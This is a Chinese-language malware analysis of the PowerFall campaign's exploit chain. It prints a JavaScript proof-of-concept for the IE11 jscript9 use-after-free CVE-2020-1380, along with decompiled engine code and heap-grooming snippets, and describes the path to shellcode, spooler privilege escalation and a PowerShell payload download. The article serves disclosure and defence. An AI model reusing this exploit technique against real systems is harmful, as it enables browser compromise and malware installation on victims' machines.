大神淺談:IE和Windows的兩個0-day漏洞分析
0x00 概述
2020年5月,卡巴斯基成功防御了Internet Explorer惡意腳本對某家韓國企業的攻擊。經過進一步分析發現,該工具使用了以前未知的完整利用鏈,其中包括兩個0-day漏洞:Internet Explorer遠程代碼執行漏洞、Windows特權提升漏洞。與我們以前在WizardOpium惡意活動中發現的攻擊鏈不同,新的攻擊鏈可以針對Windows 10的最新版本發動攻擊。經過測試表明,該漏洞可以可靠地在Internet Explorer 11和Windows 10 x64的18363版本上利用。
2020年6月8日,我們向Microsoft報告了我們的發現,并且Microsoft已確認漏洞。在我們撰寫報告時,Microsoft的安全團隊已經針對CVE-2020-0986漏洞發布了補丁,修復這一特權提升0-day漏洞。但是,在我們發現該漏洞之前,這一漏洞的可利用性被評估為“不太可能”。CVE-2020-0986的修復程序在2020年6月9日發布。
Microsoft為JScript的Use-After-Free漏洞分配了CVE-2020-1380編號,該漏洞的補丁于2020年8月11日發布。

我們將這一系列攻擊稱為PowerFall惡意活動。目前,我們暫時不能將惡意活動與任何已知的威脅行為者建立明確聯系,但根據它與以前發現漏洞的相似性,我們認為DarkHotel可能是此次攻擊的幕后黑手。卡巴斯基產品目前將PowerFall攻擊檢測為“PDM:Exploit.Win32.Generic”。
0x01 Internet Explorer 11遠程代碼執行漏洞
在野外發現的Internet Explorer最新0-day攻擊利用了舊版本JavaScript引擎jscript.dll中的漏洞CVE-2020-0674、CVE-2019-1429、CVE-2019-0676和CVE-2018-8653。其中,CVE-2020-1380是jscript9.dll中的一個漏洞,該漏洞自Internet Explorer 9開始存在,因此Microsoft建議的緩解步驟(限制jscript.dll的使用)無法針對這個特定漏洞實現防護。
CVE-2020-1380是一個釋放后使用(Use-After-Free)漏洞,由于JIT優化過程中,JIT編譯的代碼中缺少必要的檢查導致。下面展示了觸發漏洞的PoC:
- function func(O, A, F, O2) {
- arguments.push = Array.prototype.push;
- O = 1;
- arguments.length = 0;
- arguments.push(O2);
- if (F == 1) {
- O = 2;
- }
- // execute abp.valueOf() and write by dangling pointer
- A[5] = O;
- };
- // prepare objects
- var an = new ArrayBuffer(0x8c);
- var fa = new Float32Array(an);
- // compile func
- func(1, fa, 1, {});
- for (var i = 0; i < 0x10000; i++) {
- func(1, fa, 1, 1);
- }
- var abp = {};
- abp.valueOf = function() {
- // free
- worker = new Worker('worker.js');
- worker.postMessage(an, [an]);
- worker.terminate();
- worker = null;
- // sleep
- var start = Date.now();
- while (Date.now() - start < 200) {}
- // TODO: reclaim freed memory
- return 0
- };
- try {
- func(1, fa, 0, abp);
- } catch (e) {
- reload()
- }
要理解這一漏洞,我們首先看一下func()的執行方式。這里,重要的是了解將什么值設置為A[5]。根據代碼,與之相關的應該是一個參數O。在函數開始時,會將參數O重新分配為1,但隨后將函數參數長度設置為0。這個操作不會清除函數參數(通常,常規數組會這樣做),但允許將參數O2放在索引為0的參數列表1中,這意味著O = O2。除此之外,如果參數F等于1,則會再次重新分配O,但這次會分配整數2。這意味著,根據參數F的值,O參數會等于O2參數的值或是整數2。參數A是32位浮點型數組,在將值分配給數組的索引5之前,會將值首先轉換為浮點數。將整數轉換為浮點數的過程比較簡單,但是如果要將對象轉換為浮點數,這個過程就不再那么簡單了。該漏洞利用使用了重載方法valueOf()中的abp對象。當對象轉換為浮點型時執行此方法,但是在其內部,包含釋放ArrayBuffer的代碼,該代碼由Float32Array查看,并在其中設置返回值。為了防止將值存儲在已釋放對象的內存中,JavaScript引擎需要首先檢查對象的狀態,然后再將值存儲在對象中。為了安全地轉換和存儲浮點值,JScript9.dll使用函數Js::TypedArray::BaseTypedDirectSetItem()。下面是這個函數的反編譯代碼:
- int Js::TypedArray<float,0>::BaseTypedDirectSetItem(Js::TypedArray<float,0> *this, unsigned int index, void *object, int reserved)
- {
- Js::JavascriptConversion::ToNumber(object, this->type->library->context);
- if ( LOBYTE(this->view[0]->unusable) )
- Js::JavascriptError::ThrowTypeError(this->type->library->context, 0x800A15E4, 0);
- if ( index < this->count )
- {
- *(float *)&this->buffer[4 * index] = Js::JavascriptConversion::ToNumber(
- object,
- this->type->library->context);
- }
- return 1;
- }
- double Js::JavascriptConversion::ToNumber(void *object, struct Js::ScriptContext *context)
- {
- if ( (unsigned char)object & 1 )
- return (double)((int)object >> 1);
- if ( *(void **)object == VirtualTableInfo<Js::JavascriptNumber>::Address[0] )
- return *((double *)object + 1);
- return Js::JavascriptConversion::ToNumber_Full(object, context);
- }
該函數檢查浮點型數組的view[0]->unusable和count字段。在執行valueOf()方法的過程中,當ArrayBuffer被釋放時,這兩項檢查都將失敗,因為此時view[0]->unusable為1,并且在第一次調用Js::JavascriptConversion::ToNumber()時count為0。問題在于,Js::TypedArray::BaseTypedDirectSetItem()函數僅在解釋模式下使用。
當函數func()被即時編譯時,JavaScript引擎將會使用以下存在漏洞的代碼:
- if ( !((unsigned char)floatArray & 1) && *(void *)floatArray == &Js::TypedArray<float,0>::vftable )
- {
- if ( floatArray->count > index )
- {
- buffer = floatArray->buffer + 4*index;
- if ( object & 1 )
- {
- *(float *)buffer = (double)(object >> 1);
- }
- else
- {
- if ( *(void *)object != &Js::JavascriptNumber::vftable )
- {
- Js::JavascriptConversion::ToFloat_Helper(object, (float *)buffer, context);
- }
- else
- {
- *(float *)buffer = *(double *)(object->value);
- }
- }
- }
- }
這是Js::JavascriptConversion::ToFloat_Helper()函數的代碼:
- void Js::JavascriptConversion::ToFloat_Helper(void *object, float *buffer, struct Js::ScriptContext *context)
- {
- *buffer = Js::JavascriptConversion::ToNumber_Full(object, context);
- }
如我們所見,與解釋模式不同,在即時編譯的代碼中,不會檢查ArrayBuffer的生命周期,并且可以釋放它的內存,然后在調用valueOf()函數時將其回收。此外,攻擊者可以控制將返回值寫入到哪個索引中。但是,在arguments.length = 0;和arguments.push(O2);的情況下,PoC會將其替換為arguments[0] = O2;,所以Js::JavascriptConversion::ToFloat_Helper()就不會觸發這個Bug,因為隱式調用將被禁用,并且不會執行對valueOf()函數的調用。
為了確保及時編譯函數func(),漏洞利用程序會執行該函數0x10000次,對整數進行無害的轉換,并且只有在再次執行func()之后,才會觸發Bug。為了釋放ArrayBuffer,漏洞利用使用了一種濫用Web Workers API的通用技術。postMessage()函數可以用于將對象序列化為消息,并將其發送給worker。但是,這里的一個副作用是,已傳輸的對象會被釋放,并且在當前腳本上下文中變為不可用。在釋放ArrayBuffer后,漏洞利用程序通過模擬Sleep()函數使用的代碼觸發垃圾回收機制。這是一個while循環,用于檢查Date.now()與先前存儲的值之間的時間間隔。完成后,漏洞利用會使用整數數組回收內存。
- for (var i = 0; i < T.length; i += 1) {
- T[i] = new Array((0x1000 - 0x20) / 4);
- T[i][0] = 0x666; // item needs to be set to allocate LargeHeapBucket
- }
在創建大量數組后,Internet Explorer會分配新的LargeHeapBlock對象,這些對象會被IE的自定義堆實現使用。LargeHeapBlock對象將存儲緩沖區地址,將這些地址分配給數組。如果成功實現了預期的內存布局,則該漏洞將使用0覆蓋LargeHeapBlock偏移量0x14處的值,該值恰好是分配的塊數。
jscript9.dll x86的LargeHeapBlock結構:

此后,漏洞利用會分配大量的數組,并將它們設置為在漏洞利用初始階段準備好的另一個數組。然后,將該數組設置為null,漏洞利用程序調用CollectGarbage()函數。這將導致堆碎片整理,修改后的LargeHeapBlock及其相關的數組緩沖區將被釋放。在這個階段,漏洞利用會創建大量的整數數組,以回收此前釋放的數組緩沖區。新創建的數組的魔術值設置為索引0,該值通過指向先前釋放的數組的懸空指針以進行檢查,從而確認漏洞利用是否成功。
- for (var i = 0; i < K.length; i += 1) {
- K[i] = new Array((0x1000 - 0x20) / 4);
- K[i][0] = 0x888; // store magic
- }
- for (var i = 0; i < T.length; i += 1) {
- if (T[i][0] == 0x888) { // find array accessible through dangling pointer
- R = T[i];
- break;
- }
- }
最后,漏洞利用創建了兩個不同的JavascriptNativeIntArray對象,它們的緩沖區指向相同的位置。這樣,就可以檢索對象的地址,甚至可以創建新的格式錯誤的對象。該漏洞利用使用這些原語來創建格式錯誤的DataView對象,并獲得對該進程整個地址空間的讀/寫訪問權限。
在構建了任意的讀/寫原語之后,就可以繞過控制流防護(CFG)并執行代碼了。該漏洞利用使用數組的vftable指針獲取jscript9.dll的模塊基址。從這里,它解析jscript9.dll的PT頭,以獲得導入目錄表的地址,并解析其他模塊的基址。這里的目標是找到函數VirtualProtect()的基址,該地址將用于執行Shellcode的過程。之后,漏洞利用程序在jscript9.dll中搜索兩個簽名。這些簽名對應Unicode字符串split和JsUtil::DoublyLinkedListElement::LinkToBeginning()函數地址。Unicode字符串split的地址用于獲取對該字符串的代碼引用,并借助它來幫助解析函數Js::JavascriptString::EntrySplit()的地址,該函數實現了字符串方法split()。函數LinkToBeginning()的地址用于獲取全局鏈表中第一個ThreadContext對象的地址。這個漏洞利用程序會在鏈表中找到最后一個條目,并利用它為負責執行腳本的線程獲取堆棧位置。然后,就到了最后一個階段。漏洞利用程序執行split()方法,并提供一個具有重載valueOf()方法的對象作為限制參數。在執行Js::JavascriptString::EntrySplit()函數的過程中,執行重載的valueOf()方法時,漏洞利用程序將搜索線程的堆棧以查找返回地址,將Shellcode放置在準備好的緩沖區中,獲取其地址。最后,通過覆蓋函數的返回地址,構建一個面向返回的編程(ROP)鏈以執行Shellcode。
0x02 下一階段
Shellcode是附加到Shellcode上的可移植可執行(PE)模塊的反射DLL加載器。這個模塊非常小,全部功能都位于單個函數內。它在名為ok.exe的臨時文件夾中創建一個文件,將遠程執行代碼中利用的另一個可執行文件的內容寫入到其中。之后,執行ok.exe。
ok.exe可執行文件包含針對GDI Print / Print Spooler API中的任意指針解引用特權提升漏洞(CVE-2020-0986)。該漏洞最初是一位匿名用戶通過Trend Micro的Zero Day Initiative計劃向Microsoft報告的。由于該漏洞在報告后的6個月內未發布補丁,因此ZDI將這一0-day漏洞進行披露,披露日期為2020年5月19日。第二天,這一漏洞就已經在先前提到的攻擊中被利用。
利用這一漏洞,可以使用進程間通信來讀取和寫入splwow64.exe進程的任意內存,并繞過CFG和EncodePointer保護,從而實現splwow64.exe中的代碼執行。該漏洞利用程序的資源中嵌入了兩個可執行文件。第一個可執行文件以CreateDC.exe的形式寫入磁盤,并用于創建設備上下文(DC),這是漏洞利用所必需的。第二個可執行文件的名稱為PoPc.dll,如果利用成功,會由具有中等完整性級別的splwow64.dll執行。我們將在后續文章中提供有關CVE-2020-0986及其漏洞利用的更多信息。
從splwow64.exe執行惡意PowerShell命令:

PoPc.dll的主要功能也位于單個函數之中。它執行一個編碼后的PowerShell命令,該命令用于從www[.]static-cdn1[.]com/update.zip下載文件,將其保存為臨時文件upgrader.exe并執行。由于卡巴斯基已經在下載可執行文件前阻止了攻擊,因此我們未能拿到upgrader.exe,無法對其進行進一步分析。